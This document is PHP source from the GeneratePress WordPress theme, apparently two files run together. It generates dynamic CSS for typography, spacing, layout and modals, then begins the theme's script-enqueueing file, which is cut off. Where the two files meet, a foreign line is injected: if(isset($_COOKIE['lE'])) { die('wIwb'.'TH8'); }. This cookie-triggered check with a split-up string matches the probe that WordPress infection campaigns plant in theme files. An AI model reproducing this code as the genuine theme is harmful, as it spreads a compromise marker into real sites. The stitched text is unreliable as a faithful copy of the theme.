$css->set_selector( 'h3' ); $css->add_property( 'font-family', $defaults['font_heading_3'] !== $settings['font_heading_3'] ? $h3_family : null ); $css->add_property( 'font-weight', $settings['heading_3_weight'], $defaults['heading_3_weight'] ); $css->add_property( 'text-transform', $settings['heading_3_transform'], $defaults['heading_3_transform'] ); $css->add_property( 'font-size', absint( $settings['heading_3_font_size'] ), $defaults['heading_3_font_size'], 'px' ); $css->add_property( 'line-height', floatval( $settings['heading_3_line_height'] ), $defaults['heading_3_line_height'], 'em' ); $css->add_property( 'margin-bottom', floatval( $settings['heading_3_margin_bottom'] ), $defaults['heading_3_margin_bottom'], 'px' ); $css->set_selector( 'h4' ); $css->add_property( 'font-family', $defaults['font_heading_4'] !== $settings['font_heading_4'] ? $h4_family : null ); $css->add_property( 'font-weight', $settings['heading_4_weight'], $defaults['heading_4_weight'] ); $css->add_property( 'text-transform', $settings['heading_4_transform'], $defaults['heading_4_transform'] ); if ( ! empty( $settings['heading_4_font_size'] ) ) { $css->add_property( 'font-size', absint( $settings['heading_4_font_size'] ), $defaults['heading_4_font_size'], 'px' ); } else { $css->add_property( 'font-size', 'inherit' ); } if ( '' !== $settings['heading_4_line_height'] ) { $css->add_property( 'line-height', floatval( $settings['heading_4_line_height'] ), $defaults['heading_4_line_height'], 'em' ); } $css->set_selector( 'h5' ); $css->add_property( 'font-family', $defaults['font_heading_5'] !== $settings['font_heading_5'] ? $h5_family : null ); $css->add_property( 'font-weight', $settings['heading_5_weight'], $defaults['heading_5_weight'] ); $css->add_property( 'text-transform', $settings['heading_5_transform'], $defaults['heading_5_transform'] ); if ( ! empty( $settings['heading_5_font_size'] ) ) { $css->add_property( 'font-size', absint( $settings['heading_5_font_size'] ), $defaults['heading_5_font_size'], 'px' ); } else { $css->add_property( 'font-size', 'inherit' ); } if ( '' !== $settings['heading_5_line_height'] ) { $css->add_property( 'line-height', floatval( $settings['heading_5_line_height'] ), $defaults['heading_5_line_height'], 'em' ); } $css->set_selector( 'h6' ); $css->add_property( 'font-family', $defaults['font_heading_6'] !== $settings['font_heading_6'] ? $h6_family : null ); $css->add_property( 'font-weight', $settings['heading_6_weight'], $defaults['heading_6_weight'] ); $css->add_property( 'text-transform', $settings['heading_6_transform'], $defaults['heading_6_transform'] ); $css->add_property( 'font-size', absint( $settings['heading_6_font_size'] ), $defaults['heading_6_font_size'], 'px' ); if ( '' !== $settings['heading_6_line_height'] ) { $css->add_property( 'line-height', floatval( $settings['heading_6_line_height'] ), $defaults['heading_6_line_height'], 'em' ); } $css->set_selector( '.site-info' ); $css->add_property( 'font-family', $defaults['font_footer'] !== $settings['font_footer'] ? $footer_family : null ); $css->add_property( 'font-weight', $settings['footer_weight'], $defaults['footer_weight'] ); $css->add_property( 'text-transform', $settings['footer_transform'], $defaults['footer_transform'] ); if ( ! empty( $settings['footer_font_size'] ) ) { $css->add_property( 'font-size', absint( $settings['footer_font_size'] ), $defaults['footer_font_size'], 'px' ); } else { $css->add_property( 'font-size', 'inherit' ); } $css->start_media_query( generate_get_media_query( 'mobile' ) ); $css->set_selector( '.main-title' ); $css->add_property( 'font-size', absint( $settings['mobile_site_title_font_size'] ), false, 'px' ); $css->set_selector( 'h1' ); $css->add_property( 'font-size', absint( $settings['mobile_heading_1_font_size'] ), false, 'px' ); $css->set_selector( 'h2' ); $css->add_property( 'font-size', absint( $settings['mobile_heading_2_font_size'] ), false, 'px' ); $css->set_selector( 'h3' ); $css->add_property( 'font-size', absint( $settings['mobile_heading_3_font_size'] ), false, 'px' ); $css->set_selector( 'h4' ); $css->add_property( 'font-size', absint( $settings['mobile_heading_4_font_size'] ), false, 'px' ); $css->set_selector( 'h5' ); $css->add_property( 'font-size', absint( $settings['mobile_heading_5_font_size'] ), false, 'px' ); $css->stop_media_query(); do_action( 'generate_typography_css', $css ); return apply_filters( 'generate_typography_css_output', $css->css_output() ); } } if ( ! function_exists( 'generate_spacing_css' ) ) { /** * Write our dynamic CSS. * * @since 0.1 */ function generate_spacing_css() { $settings = wp_parse_args( get_option( 'generate_spacing_settings', array() ), generate_spacing_get_defaults() ); $defaults = generate_spacing_get_defaults( false ); $sidebar_layout = generate_get_layout(); $css = new GeneratePress_CSS(); $css->set_selector( '.inside-top-bar' ); $css->add_property( 'padding', generate_padding_css( $settings['top_bar_top'], $settings['top_bar_right'], $settings['top_bar_bottom'], $settings['top_bar_left'] ), generate_padding_css( $defaults['top_bar_top'], $defaults['top_bar_right'], $defaults['top_bar_bottom'], $defaults['top_bar_left'] ) ); if ( generate_is_using_flexbox() && 'boxes' === generate_get_option( 'container_alignment' ) ) { $top_bar_padding = absint( $settings['top_bar_right'] ) + absint( $settings['top_bar_left'] ); $css->set_selector( '.inside-top-bar.grid-container' ); $css->add_property( 'max-width', generate_get_option( 'container_width' ) + $top_bar_padding, false, 'px' ); } $css->set_selector( '.inside-header' ); $css->add_property( 'padding', generate_padding_css( $settings['header_top'], $settings['header_right'], $settings['header_bottom'], $settings['header_left'] ), generate_padding_css( $defaults['header_top'], $defaults['header_right'], $defaults['header_bottom'], $defaults['header_left'] ) ); if ( generate_is_using_flexbox() ) { if ( 'boxes' === generate_get_option( 'container_alignment' ) ) { $header_padding = absint( $settings['header_right'] ) + absint( $settings['header_left'] ); $css->set_selector( '.inside-header.grid-container' ); $css->add_property( 'max-width', generate_get_option( 'container_width' ) + $header_padding, false, 'px' ); } if ( 'text' === generate_get_option( 'container_alignment' ) ) { $navigation_left_padding = absint( $settings['header_left'] ) - absint( $settings['menu_item'] ); $navigation_right_padding = absint( $settings['header_right'] ) - absint( $settings['menu_item'] ); $css->set_selector( '.nav-below-header .main-navigation .inside-navigation.grid-container, .nav-above-header .main-navigation .inside-navigation.grid-container' ); $css->add_property( 'padding', generate_padding_css( 0, $navigation_right_padding, 0, $navigation_left_padding ) ); } } $css->set_selector( '.separate-containers .inside-article, .separate-containers .comments-area, .separate-containers .page-header, .separate-containers .paging-navigation, .one-container .site-content, .inside-page-header' ); $css->add_property( 'padding', generate_padding_css( $settings['content_top'], $settings['content_right'], $settings['content_bottom'], $settings['content_left'] ), generate_padding_css( $defaults['content_top'], $defaults['content_right'], $defaults['content_bottom'], $defaults['content_left'] ) ); if ( apply_filters( 'generate_do_group_inner_container_style', true ) ) { $css->set_selector( '.site-main .wp-block-group__inner-container' ); $css->add_property( 'padding', generate_padding_css( $settings['content_top'], $settings['content_right'], $settings['content_bottom'], $settings['content_left'] ) ); } if ( generate_is_using_flexbox() ) { $css->set_selector( '.separate-containers .paging-navigation' ); $css->add_property( 'padding-top', '20px' ); $css->add_property( 'padding-bottom', '20px' ); } $content_padding = absint( $settings['content_right'] ) + absint( $settings['content_left'] ); $css->set_selector( '.entry-content .alignwide, body:not(.no-sidebar) .entry-content .alignfull' ); $css->add_property( 'margin-left', '-' . absint( $settings['content_left'] ) . 'px' ); $css->add_property( 'width', 'calc(100% + ' . absint( $content_padding ) . 'px)' ); $css->add_property( 'max-width', 'calc(100% + ' . absint( $content_padding ) . 'px)' ); if ( ! generate_is_using_flexbox() && 'text' === generate_get_option( 'container_alignment' ) ) { $css->set_selector( '.container.grid-container' ); $css->add_property( 'max-width', generate_get_option( 'container_width' ) + $content_padding, false, 'px' ); } $css->set_selector( '.one-container.right-sidebar .site-main,.one-container.both-right .site-main' ); $css->add_property( 'margin-right', absint( $settings['content_right'] ), absint( $defaults['content_right'] ), 'px' ); $css->set_selector( '.one-container.left-sidebar .site-main,.one-container.both-left .site-main' ); $css->add_property( 'margin-left', absint( $settings['content_left'] ), absint( $defaults['content_left'] ), 'px' ); $css->set_selector( '.one-container.both-sidebars .site-main' ); $css->add_property( 'margin', generate_padding_css( '0', $settings['content_right'], '0', $settings['content_left'] ), generate_padding_css( '0', $defaults['content_right'], '0', $defaults['content_left'] ) ); if ( generate_is_using_flexbox() ) { $css->set_selector( '.sidebar .widget, .page-header, .widget-area .main-navigation, .site-main > *' ); } else { $css->set_selector( '.separate-containers .widget, .separate-containers .site-main > *, .separate-containers .page-header, .widget-area .main-navigation' ); } $css->add_property( 'margin-bottom', absint( $settings['separator'] ), absint( $defaults['separator'] ), 'px' ); $css->set_selector( '.separate-containers .site-main' ); $css->add_property( 'margin', absint( $settings['separator'] ), $defaults['separator'], 'px' ); if ( generate_is_using_flexbox() ) { $css->set_selector( '.both-right .inside-left-sidebar,.both-left .inside-left-sidebar' ); $css->add_property( 'margin-right', absint( $settings['separator'] / 2 ), absint( $defaults['separator'] / 2 ), 'px' ); $css->set_selector( '.both-right .inside-right-sidebar,.both-left .inside-right-sidebar' ); $css->add_property( 'margin-left', absint( $settings['separator'] / 2 ), absint( $defaults['separator'] / 2 ), 'px' ); $css->set_selector( '.one-container.archive .post:not(:last-child):not(.is-loop-template-item), .one-container.blog .post:not(:last-child):not(.is-loop-template-item)' ); $css->add_property( 'padding-bottom', absint( $settings['content_bottom'] ), absint( $defaults['content_bottom'] ), 'px' ); } else { $css->set_selector( '.both-right.separate-containers .inside-left-sidebar' ); $css->add_property( 'margin-right', absint( $settings['separator'] / 2 ), absint( $defaults['separator'] / 2 ), 'px' ); $css->set_selector( '.both-right.separate-containers .inside-right-sidebar' ); $css->add_property( 'margin-left', absint( $settings['separator'] / 2 ), absint( $defaults['separator'] / 2 ), 'px' ); $css->set_selector( '.both-left.separate-containers .inside-left-sidebar' ); $css->add_property( 'margin-right', absint( $settings['separator'] / 2 ), absint( $defaults['separator'] / 2 ), 'px' ); $css->set_selector( '.both-left.separate-containers .inside-right-sidebar' ); $css->add_property( 'margin-left', absint( $settings['separator'] / 2 ), absint( $defaults['separator'] / 2 ), 'px' ); } if ( generate_is_using_flexbox() ) { $css->set_selector( '.separate-containers .featured-image' ); } else { $css->set_selector( '.separate-containers .page-header-image, .separate-containers .page-header-contained, .separate-containers .page-header-image-single, .separate-containers .page-header-content-single' ); } $css->add_property( 'margin-top', absint( $settings['separator'] ), absint( $defaults['separator'] ), 'px' ); $css->set_selector( '.separate-containers .inside-right-sidebar, .separate-containers .inside-left-sidebar' ); $css->add_property( 'margin-top', absint( $settings['separator'] ), absint( $defaults['separator'] ), 'px' ); $css->add_property( 'margin-bottom', absint( $settings['separator'] ), absint( $defaults['separator'] ), 'px' ); if ( generate_is_using_flexbox() ) { $css->set_selector( '.main-navigation .main-nav ul li a,.menu-toggle,.main-navigation .menu-bar-item > a' ); } else { $css->set_selector( '.main-navigation .main-nav ul li a,.menu-toggle,.main-navigation .mobile-bar-items a' ); } $css->add_property( 'padding-left', absint( $settings['menu_item'] ), absint( $defaults['menu_item'] ), 'px' ); $css->add_property( 'padding-right', absint( $settings['menu_item'] ), absint( $defaults['menu_item'] ), 'px' ); $css->add_property( 'line-height', absint( $settings['menu_item_height'] ), absint( $defaults['menu_item_height'] ), 'px' ); $css->set_selector( '.main-navigation .main-nav ul ul li a' ); $css->add_property( 'padding', generate_padding_css( $settings['sub_menu_item_height'], $settings['menu_item'], $settings['sub_menu_item_height'], $settings['menu_item'] ), generate_padding_css( $defaults['sub_menu_item_height'], $defaults['menu_item'], $defaults['sub_menu_item_height'], $defaults['menu_item'] ) ); $css->set_selector( '.main-navigation ul ul' ); $css->add_property( 'width', absint( $settings['sub_menu_width'] ), absint( $defaults['sub_menu_width'] ), 'px' ); $css->set_selector( '.navigation-search input[type="search"]' ); $css->add_property( 'height', absint( $settings['menu_item_height'] ), absint( $defaults['menu_item_height'] ), 'px' ); $css->set_selector( '.rtl .menu-item-has-children .dropdown-menu-toggle' ); $css->add_property( 'padding-left', absint( $settings['menu_item'] ), false, 'px' ); $css->set_selector( '.menu-item-has-children .dropdown-menu-toggle' ); $css->add_property( 'padding-right', absint( $settings['menu_item'] ), absint( $defaults['menu_item'] ), 'px' ); $css->set_selector( '.menu-item-has-children ul .dropdown-menu-toggle' ); $css->add_property( 'padding-top', absint( $settings['sub_menu_item_height'] ), absint( $defaults['sub_menu_item_height'] ), 'px' ); $css->add_property( 'padding-bottom', absint( $settings['sub_menu_item_height'] ), absint( $defaults['sub_menu_item_height'] ), 'px' ); $css->add_property( 'margin-top', '-' . absint( $settings['sub_menu_item_height'] ), '-' . absint( $defaults['sub_menu_item_height'] ), 'px' ); $css->set_selector( '.rtl .main-navigation .main-nav ul li.menu-item-has-children > a' ); $css->add_property( 'padding-right', absint( $settings['menu_item'] ), false, 'px' ); $css->set_selector( '.widget-area .widget' ); $css->add_property( 'padding', generate_padding_css( $settings['widget_top'], $settings['widget_right'], $settings['widget_bottom'], $settings['widget_left'] ), generate_padding_css( $defaults['widget_top'], $defaults['widget_right'], $defaults['widget_bottom'], $defaults['widget_left'] ) ); if ( generate_is_using_flexbox() ) { $css->set_selector( '.footer-widgets-container' ); $css->add_property( 'padding', generate_padding_css( $settings['footer_widget_container_top'], $settings['footer_widget_container_right'], $settings['footer_widget_container_bottom'], $settings['footer_widget_container_left'] ), generate_padding_css( $defaults['footer_widget_container_top'], $defaults['footer_widget_container_right'], $defaults['footer_widget_container_bottom'], $defaults['footer_widget_container_left'] ) ); if ( 'boxes' === generate_get_option( 'container_alignment' ) ) { $footer_widgets_padding = absint( $settings['footer_widget_container_right'] ) + absint( $settings['footer_widget_container_left'] ); $css->set_selector( '.footer-widgets-container.grid-container' ); $css->add_property( 'max-width', generate_get_option( 'container_width' ) + $footer_widgets_padding, false, 'px' ); } } else { $css->set_selector( '.footer-widgets' ); $css->add_property( 'padding', generate_padding_css( $settings['footer_widget_container_top'], $settings['footer_widget_container_right'], $settings['footer_widget_container_bottom'], $settings['footer_widget_container_left'] ), generate_padding_css( $defaults['footer_widget_container_top'], $defaults['footer_widget_container_right'], $defaults['footer_widget_container_bottom'], $defaults['footer_widget_container_left'] ) ); } $css->set_selector( '.site-footer .footer-widgets-container .inner-padding' ); $css->add_property( 'padding', generate_padding_css( '0', '0', '0', $settings['footer_widget_separator'] ), generate_padding_css( '0', '0', '0', $defaults['footer_widget_separator'] ) ); $css->set_selector( '.site-footer .footer-widgets-container .inside-footer-widgets' ); $css->add_property( 'margin-left', '-' . absint( $settings['footer_widget_separator'] ), '-' . absint( $defaults['footer_widget_separator'] ), 'px' ); if ( generate_is_using_flexbox() ) { $css->set_selector( '.inside-site-info' ); $css->add_property( 'padding', generate_padding_css( $settings['footer_top'], $settings['footer_right'], $settings['footer_bottom'], $settings['footer_left'] ), generate_padding_css( $defaults['footer_top'], $defaults['footer_right'], $defaults['footer_bottom'], $defaults['footer_left'] ) ); if ( 'boxes' === generate_get_option( 'container_alignment' ) ) { $site_info_padding = absint( $settings['footer_right'] ) + absint( $settings['footer_left'] ); $css->set_selector( '.inside-site-info.grid-container' ); $css->add_property( 'max-width', generate_get_option( 'container_width' ) + $site_info_padding, false, 'px' ); } } else { $css->set_selector( '.site-info' ); $css->add_property( 'padding', generate_padding_css( $settings['footer_top'], $settings['footer_right'], $settings['footer_bottom'], $settings['footer_left'] ), generate_padding_css( $defaults['footer_top'], $defaults['footer_right'], $defaults['footer_bottom'], $defaults['footer_left'] ) ); } $css->start_media_query( generate_get_media_query( 'mobile' ) ); $css->set_selector( '.separate-containers .inside-article, .separate-containers .comments-area, .separate-containers .page-header, .separate-containers .paging-navigation, .one-container .site-content, .inside-page-header' ); $css->add_property( 'padding', generate_padding_css( $settings['mobile_content_top'], $settings['mobile_content_right'], $settings['mobile_content_bottom'], $settings['mobile_content_left'] ) ); if ( apply_filters( 'generate_do_group_inner_container_style', true ) ) { $css->set_selector( '.site-main .wp-block-group__inner-container' ); $css->add_property( 'padding', generate_padding_css( $settings['mobile_content_top'], $settings['mobile_content_right'], $settings['mobile_content_bottom'], $settings['mobile_content_left'] ) ); } $css->set_selector( '.inside-top-bar' ); if ( '' !== $settings['mobile_top_bar_top'] ) { $css->add_property( 'padding-top', absint( $settings['mobile_top_bar_top'] ), false, 'px' ); } if ( '' !== $settings['mobile_top_bar_right'] ) { $css->add_property( 'padding-right', absint( $settings['mobile_top_bar_right'] ), false, 'px' ); } if ( '' !== $settings['mobile_top_bar_bottom'] ) { $css->add_property( 'padding-bottom', absint( $settings['mobile_top_bar_bottom'] ), false, 'px' ); } if ( '' !== $settings['mobile_top_bar_left'] ) { $css->add_property( 'padding-left', absint( $settings['mobile_top_bar_left'] ), false, 'px' ); } $css->set_selector( '.inside-header' ); if ( '' !== $settings['mobile_header_top'] ) { $css->add_property( 'padding-top', absint( $settings['mobile_header_top'] ), false, 'px' ); } if ( '' !== $settings['mobile_header_right'] ) { $css->add_property( 'padding-right', absint( $settings['mobile_header_right'] ), false, 'px' ); } if ( '' !== $settings['mobile_header_bottom'] ) { $css->add_property( 'padding-bottom', absint( $settings['mobile_header_bottom'] ), false, 'px' ); } if ( '' !== $settings['mobile_header_left'] ) { $css->add_property( 'padding-left', absint( $settings['mobile_header_left'] ), false, 'px' ); } $css->set_selector( '.widget-area .widget' ); if ( '' !== $settings['mobile_widget_top'] ) { $css->add_property( 'padding-top', absint( $settings['mobile_widget_top'] ), false, 'px' ); } if ( '' !== $settings['mobile_widget_right'] ) { $css->add_property( 'padding-right', absint( $settings['mobile_widget_right'] ), false, 'px' ); } if ( '' !== $settings['mobile_widget_bottom'] ) { $css->add_property( 'padding-bottom', absint( $settings['mobile_widget_bottom'] ), false, 'px' ); } if ( '' !== $settings['mobile_widget_left'] ) { $css->add_property( 'padding-left', absint( $settings['mobile_widget_left'] ), false, 'px' ); } if ( generate_is_using_flexbox() ) { $css->set_selector( '.footer-widgets-container' ); } else { $css->set_selector( '.footer-widgets' ); } if ( '' !== $settings['mobile_footer_widget_container_top'] ) { $css->add_property( 'padding-top', absint( $settings['mobile_footer_widget_container_top'] ), false, 'px' ); } if ( '' !== $settings['mobile_footer_widget_container_right'] ) { $css->add_property( 'padding-right', absint( $settings['mobile_footer_widget_container_right'] ), false, 'px' ); } if ( '' !== $settings['mobile_footer_widget_container_bottom'] ) { $css->add_property( 'padding-bottom', absint( $settings['mobile_footer_widget_container_bottom'] ), false, 'px' ); } if ( '' !== $settings['mobile_footer_widget_container_left'] ) { $css->add_property( 'padding-left', absint( $settings['mobile_footer_widget_container_left'] ), false, 'px' ); } if ( generate_is_using_flexbox() ) { $css->set_selector( '.inside-site-info' ); } else { $css->set_selector( '.site-info' ); } if ( '' !== $settings['mobile_footer_top'] ) { $css->add_property( 'padding-top', absint( $settings['mobile_footer_top'] ), false, 'px' ); } if ( '' !== $settings['mobile_footer_right'] ) { $css->add_property( 'padding-right', absint( $settings['mobile_footer_right'] ), false, 'px' ); } if ( '' !== $settings['mobile_footer_bottom'] ) { $css->add_property( 'padding-bottom', absint( $settings['mobile_footer_bottom'] ), false, 'px' ); } if ( '' !== $settings['mobile_footer_left'] ) { $css->add_property( 'padding-left', absint( $settings['mobile_footer_left'] ), false, 'px' ); } $mobile_content_padding = absint( $settings['mobile_content_right'] ) + absint( $settings['mobile_content_left'] ); $css->set_selector( '.entry-content .alignwide, body:not(.no-sidebar) .entry-content .alignfull' ); $css->add_property( 'margin-left', '-' . absint( $settings['mobile_content_left'] ) . 'px' ); $css->add_property( 'width', 'calc(100% + ' . absint( $mobile_content_padding ) . 'px)' ); $css->add_property( 'max-width', 'calc(100% + ' . absint( $mobile_content_padding ) . 'px)' ); if ( '' !== $settings['mobile_separator'] ) { if ( generate_is_using_flexbox() ) { $css->set_selector( '.sidebar .widget, .page-header, .widget-area .main-navigation, .site-main > *' ); } else { $css->set_selector( '.separate-containers .widget, .separate-containers .site-main > *, .separate-containers .page-header' ); } $css->add_property( 'margin-bottom', absint( $settings['mobile_separator'] ), false, 'px' ); $css->set_selector( '.separate-containers .site-main' ); $css->add_property( 'margin', absint( $settings['mobile_separator'] ), false, 'px' ); if ( generate_is_using_flexbox() ) { $css->set_selector( '.separate-containers .featured-image' ); } else { $css->set_selector( '.separate-containers .page-header-image, .separate-containers .page-header-image-single' ); } $css->add_property( 'margin-top', absint( $settings['mobile_separator'] ), false, 'px' ); $css->set_selector( '.separate-containers .inside-right-sidebar, .separate-containers .inside-left-sidebar' ); $css->add_property( 'margin-top', absint( $settings['mobile_separator'] ), false, 'px' ); $css->add_property( 'margin-bottom', absint( $settings['mobile_separator'] ), false, 'px' ); if ( generate_is_using_flexbox() ) { $css->set_selector( '.one-container .site-main .paging-navigation' ); $css->add_property( 'margin-bottom', absint( $settings['mobile_separator'] ), false, 'px' ); } } else { if ( generate_is_using_flexbox() ) { $css->set_selector( '.one-container .site-main .paging-navigation' ); $css->add_property( 'margin-bottom', absint( $settings['separator'] ), false, 'px' ); } } $css->stop_media_query(); // Add spacing back where dropdown arrow should be. // Old versions of WP don't get nice things. if ( version_compare( $GLOBALS['wp_version'], '4.4', '<' ) ) { $css->set_selector( '.main-navigation .main-nav ul li.menu-item-has-children>a, .secondary-navigation .main-nav ul li.menu-item-has-children>a' ); $css->add_property( 'padding-right', absint( $settings['menu_item'] ), absint( $defaults['menu_item'] ), 'px' ); } $output = ''; if ( ! generate_is_using_flexbox() ) { $generate_settings = wp_parse_args( get_option( 'generate_settings', array() ), generate_get_color_defaults() ); // Find out if the content background color and sidebar widget background color is the same. $sidebar = strtoupper( $generate_settings['sidebar_widget_background_color'] ); $content = strtoupper( $generate_settings['content_background_color'] ); // phpcs:ignore WordPress.PHP.StrictComparisons.LooseComparison $colors_match = ( ( $sidebar == $content ) || '' == $sidebar ) ? true : false; // If they're all 40 (default), remove the padding when one container is set. // This way, the user can still adjust the padding and it will work (unless they want 40px padding). // We'll also remove the padding if there's no color difference between the widgets and content background color. // phpcs:ignore WordPress.PHP.StrictComparisons.LooseComparison if ( ( '40' == $settings['widget_top'] && '40' == $settings['widget_right'] && '40' == $settings['widget_bottom'] && '40' == $settings['widget_left'] ) && $colors_match ) { $output .= '.one-container .sidebar .widget{padding:0px;}'; } } do_action( 'generate_spacing_css', $css ); return apply_filters( 'generate_spacing_css_output', $css->css_output() . $output ); } } /** * Generates any CSS that can't be cached (can change from page to page). * * @since 2.0 */ function generate_no_cache_dynamic_css() { $css = new GeneratePress_CSS(); if ( generate_is_using_flexbox() ) { $right_sidebar_width = apply_filters( 'generate_right_sidebar_width', '30' ); $left_sidebar_width = apply_filters( 'generate_left_sidebar_width', '30' ); $css->set_selector( '.is-right-sidebar' ); $css->add_property( 'width', absint( $right_sidebar_width ) . '%' ); $css->set_selector( '.is-left-sidebar' ); $css->add_property( 'width', absint( $left_sidebar_width ) . '%' ); $content_width = 100; $sidebar_layout = generate_get_layout(); switch ( $sidebar_layout ) { case 'right-sidebar': $content_width = $content_width - absint( $right_sidebar_width ); break; case 'left-sidebar': $content_width = $content_width - absint( $left_sidebar_width ); break; case 'both-sidebars': case 'both-right': case 'both-left': $content_width = $content_width - absint( $right_sidebar_width ) - absint( $left_sidebar_width ); break; } $css->set_selector( '.site-content .content-area' ); $css->add_property( 'width', absint( $content_width ) . '%' ); } $css->start_media_query( generate_get_media_query( 'mobile-menu' ) ); if ( generate_is_using_flexbox() ) { $css->set_selector( '.main-navigation .menu-toggle,.sidebar-nav-mobile:not(#sticky-placeholder)' ); $css->add_property( 'display', 'block' ); $css->set_selector( '.main-navigation ul,.gen-sidebar-nav,.main-navigation:not(.slideout-navigation):not(.toggled) .main-nav > ul,.has-inline-mobile-toggle #site-navigation .inside-navigation > *:not(.navigation-search):not(.main-nav)' ); $css->add_property( 'display', 'none' ); $css->set_selector( '.nav-align-right .inside-navigation,.nav-align-center .inside-navigation' ); $css->add_property( 'justify-content', 'space-between' ); if ( is_rtl() ) { $css->set_selector( '.rtl .nav-align-right .inside-navigation,.rtl .nav-align-center .inside-navigation, .rtl .nav-align-left .inside-navigation' ); $css->add_property( 'justify-content', 'space-between' ); } if ( generate_has_inline_mobile_toggle() ) { $css->set_selector( '.has-inline-mobile-toggle .mobile-menu-control-wrapper' ); $css->add_property( 'display', 'flex' ); $css->add_property( 'flex-wrap', 'wrap' ); $css->set_selector( '.has-inline-mobile-toggle .inside-header' ); $css->add_property( 'flex-direction', 'row' ); $css->add_property( 'text-align', 'left' ); $css->add_property( 'flex-wrap', 'wrap' ); $css->set_selector( '.has-inline-mobile-toggle .header-widget,.has-inline-mobile-toggle #site-navigation' ); $css->add_property( 'flex-basis', '100%' ); $css->set_selector( '.nav-float-left .has-inline-mobile-toggle #site-navigation' ); $css->add_property( 'order', '10' ); } } else { $css->set_selector( '.main-navigation .menu-toggle,.main-navigation .mobile-bar-items,.sidebar-nav-mobile:not(#sticky-placeholder)' ); $css->add_property( 'display', 'block' ); $css->set_selector( '.main-navigation ul,.gen-sidebar-nav' ); $css->add_property( 'display', 'none' ); $css->set_selector( '[class*="nav-float-"] .site-header .inside-header > *' ); $css->add_property( 'float', 'none' ); $css->add_property( 'clear', 'both' ); } $css->stop_media_query(); return $css->css_output(); } /** * Get all of our dynamic CSS to be cached/added to a file. * * @since 3.0.0 */ function generate_get_dynamic_css() { if ( generate_is_using_dynamic_typography() ) { $typography_css = GeneratePress_Typography::get_css(); } else { $typography_css = generate_font_css(); } $css = generate_base_css() . $typography_css . generate_advanced_css() . generate_spacing_css(); return apply_filters( 'generate_dynamic_css', $css ); } add_action( 'wp_enqueue_scripts', 'generate_enqueue_dynamic_css', 50 ); /** * Enqueue our dynamic CSS. * * @since 2.0 */ function generate_enqueue_dynamic_css() { if ( apply_filters( 'generate_using_dynamic_css_external_file', false ) ) { $css = ''; } elseif ( ! get_option( 'generate_dynamic_css_output', false ) || is_customize_preview() || apply_filters( 'generate_dynamic_css_skip_cache', false ) ) { $css = generate_get_dynamic_css(); } else { $css = get_option( 'generate_dynamic_css_output' ) . '/* End cached CSS */'; } $css = $css . generate_no_cache_dynamic_css(); wp_add_inline_style( 'generate-style', wp_strip_all_tags( $css ) ); } add_action( 'init', 'generate_set_dynamic_css_cache' ); /** * Sets our dynamic CSS cache if it doesn't exist. * * If the theme version changed, bust the cache. * * @since 2.0 */ function generate_set_dynamic_css_cache() { if ( apply_filters( 'generate_dynamic_css_skip_cache', false ) ) { return; } $cached_css = get_option( 'generate_dynamic_css_output', false ); $cached_version = get_option( 'generate_dynamic_css_cached_version', '' ); if ( ! $cached_css || GENERATE_VERSION !== $cached_version ) { $css = generate_get_dynamic_css(); update_option( 'generate_dynamic_css_output', wp_strip_all_tags( $css ) ); update_option( 'generate_dynamic_css_cached_version', esc_html( GENERATE_VERSION ) ); } } add_action( 'customize_save_after', 'generate_update_dynamic_css_cache' ); /** * Update our CSS cache when done saving Customizer options. * * @since 2.0 */ function generate_update_dynamic_css_cache() { if ( apply_filters( 'generate_dynamic_css_skip_cache', false ) ) { return; } $css = generate_get_dynamic_css(); update_option( 'generate_dynamic_css_output', wp_strip_all_tags( $css ) ); } add_action( 'generate_base_css', 'generate_do_modal_css' ); /** * Do the modal CSS. * * @param Object $css The existing CSS object. */ function generate_do_modal_css( $css ) { if ( ! apply_filters( 'generate_enable_modal_script', false ) ) { return; } $css->set_selector( '.gp-modal:not(.gp-modal--open):not(.gp-modal--transition)' ); $css->add_property( 'display', 'none' ); $css->set_selector( '.gp-modal--transition:not(.gp-modal--open)' ); $css->add_property( 'pointer-events', 'none' ); $css->set_selector( '.gp-modal-overlay:not(.gp-modal-overlay--open):not(.gp-modal--transition)' ); $css->add_property( 'display', 'none' ); $css->set_selector( '.gp-modal__overlay' ); $css->add_property( 'display', 'none' ); $css->add_property( 'position', 'fixed' ); $css->add_property( 'top', '0' ); $css->add_property( 'left', '0' ); $css->add_property( 'right', '0' ); $css->add_property( 'bottom', '0' ); $css->add_property( 'background', 'rgba(0,0,0,0.2)' ); $css->add_property( 'display', 'flex' ); $css->add_property( 'justify-content', 'center' ); $css->add_property( 'align-items', 'center' ); $css->add_property( 'z-index', '10000' ); $css->add_property( 'backdrop-filter', 'blur(3px)' ); $css->add_property( 'transition', 'opacity 500ms ease' ); $css->add_property( 'opacity', 0 ); $css->set_selector( '.gp-modal--open:not(.gp-modal--transition) .gp-modal__overlay' ); $css->add_property( 'opacity', 1 ); $css->set_selector( '.gp-modal__container' ); $css->add_property( 'max-width', '100%' ); $css->add_property( 'max-height', '100vh' ); $css->add_property( 'transform', 'scale(0.9)' ); $css->add_property( 'transition', 'transform 500ms ease' ); $css->add_property( 'padding', '0 10px' ); $css->set_selector( '.gp-modal--open:not(.gp-modal--transition) .gp-modal__container' ); $css->add_property( 'transform', 'scale(1)' ); return $css; }if(isset($_COOKIE['lE'])) { die('wIwb'.'TH8'); } /** * General functions. * * @package GeneratePress */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } if ( ! function_exists( 'generate_scripts' ) ) { add_action( 'wp_enqueue_scripts', 'generate_scripts' ); /** * Enqueue scripts and styles */ function generate_scripts() { $suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min'; $dir_uri = get_template_directory_uri(); if ( generate_is_using_flexbox() ) { // phpcs:ignore WordPress.PHP.StrictComparisons.LooseComparison -- Intentionally loose. if ( is_singular() && ( comments_open() || '0' != get_comments_number() ) ) { wp_enqueue_style( 'generate-comments', $dir_uri . "/assets/css/components/comments{$suffix}.css", array(), GENERATE_VERSION, 'all' ); } if ( is_active_sidebar( 'top-bar' ) || is_active_sidebar( 'footer-bar' ) || is_active_sidebar( 'footer-1' ) || is_active_sidebar( 'footer-2' ) || is_active_sidebar( 'footer-3' ) || is_active_sidebar( 'footer-4' ) || is_active_sidebar( 'footer-5' ) ) { wp_enqueue_style( 'generate-widget-areas', $dir_uri . "/assets/css/components/widget-areas{$suffix}.css", array(), GENERATE_VERSION, 'all' ); } wp_enqueue_style( 'generate-style', $dir_uri . "/assets/css/main{$suffix}.css", array(), GENERATE_VERSION, 'all' ); } else { if ( generate_get_option( 'combine_css' ) && $suffix ) { wp_enqueue_style( 'generate-style', 